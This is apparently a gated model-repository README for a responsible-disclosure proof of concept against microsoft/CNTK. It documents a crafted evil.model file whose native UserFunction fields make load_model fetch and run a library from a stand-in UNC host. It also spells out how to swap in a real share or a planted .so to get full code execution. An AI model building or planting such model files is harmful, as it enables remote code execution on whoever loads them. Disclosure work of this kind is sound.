Ano1X8's picture
Upload 2 files
84aa64e verified
|
Raw
History Blame Contribute Delete
3.39 kB
---
license: other
tags:
- security-poc
- huntr
- responsible-disclosure
---
# ⚠️ Security PoC β€” CNTK v2 `.model` native-UserFunction RCE (GATED)
This gated repository contains a **single crafted CNTK v2 `.model`** demonstrating arbitrary native
library load + call (RCE) at model-load time in `microsoft/CNTK`. Uploaded **solely** for coordinated
disclosure via huntr and access-gated to the triage team.
## The artifact
- **`evil.model`** (581 bytes) β€” a raw protobuf-serialized `CNTK.proto` `Dictionary` (the on-disk CNTK
v2 format for sub-2GB models: no magic/length prefix). It encodes a `CompositeFunction` whose single
`primitive_functions[0]` entry is a **native UserFunction**:
- `type = "UserDefinedFunction"`, `native = true` β†’ routes to `Function::DeserializeNativeImpl`
- `user_defined_state.type = "NativeUserDefinedFunction"`
- `user_defined_state.module = "\\ATTACKER-CANARY\share\evil.pyd"` ← **attacker-named library**
- `user_defined_state.deserialize_method = "Deserialize"` ← attacker export symbol
- `user_defined_state.op = "EvilNativeOp"` ← unregistered op β†’ forces the plugin-load branch
The `module` value is a **benign UNC canary** β€” no payload library exists at that path, so loading
the file makes CNTK *attempt* the remote `LoadLibrary` (observable as an SMB/WebDAV fetch to
`ATTACKER-CANARY`) without executing attacker code. Swapping in a reachable UNC share / local
`.dll`/`.so` is what yields full code execution.
## Threat model (huntr MFV)
`cntk.load_model("evil.model")` / `cntk.Function.load(...)` β€” the fully public, default-format load
API. No user opt-in, no CLI flag, no callback registration. The native branch fires purely because the
file says `native = true`.
## Reproduce
```python
import cntk
cntk.load_model("evil.model")
# -> Function::Load(CNTKv2) -> CompositeFunction::Deserialize
# -> UDFUtils::Deserialize (IsUDF: type==UserDefinedFunction)
# -> IsNativeUDF (native==true) -> Function::DeserializeNativeImpl
# -> Plugin::Load("\\ATTACKER-CANARY\share\evil.pyd","Deserialize")
# -> LoadLibrary(UNC) + GetProcAddress + CALL ==> native code execution
```
**Windows:** `.pyd` is used verbatim (no suffix mangling); `LoadLibrary` of the UNC path fetches and
executes `DllMain` from the remote share β€” **single-file remote RCE**.
**Linux:** point `module` at a planted absolute-path `.so` (e.g. `/dev/shm/evil.so`) β†’ `dlopen` +
`dlsym` + call (two-ingredient).
Sink: `Source/CNTKv2LibraryDll/UserDefinedFunction.cpp:35-67` Β· loader `Source/Common/File.cpp:1028-1094`
Β· no `AllowNative`/`trusted`/`safe_load` guard exists in `CNTKv2LibraryDll` (grepped, zero hits).
## Verification status (honest)
The `.model` is encoded **faithfully to the real `CNTK.proto` schema** and the exact key / type /
version contract traced from CNTK source (`version` map-key required per `GetVersion`; type strings
`CompositeFunction` / `UserDefinedFunction` / `NativeUserDefinedFunction`; required-key sets for each
deserializer). The protobuf wire format was validated by round-trip decode. It was **not executed at
runtime** β€” CNTK is archived/EOL (last release 2.7, 2019) and does not build on the disclosure host.
The sink, the full public-API β†’ sink chain, and the absence of any guard are source-confirmed.
CWE-502 + CWE-494 Β· CVSS ~8.8 (Windows UNC) Β· RCE.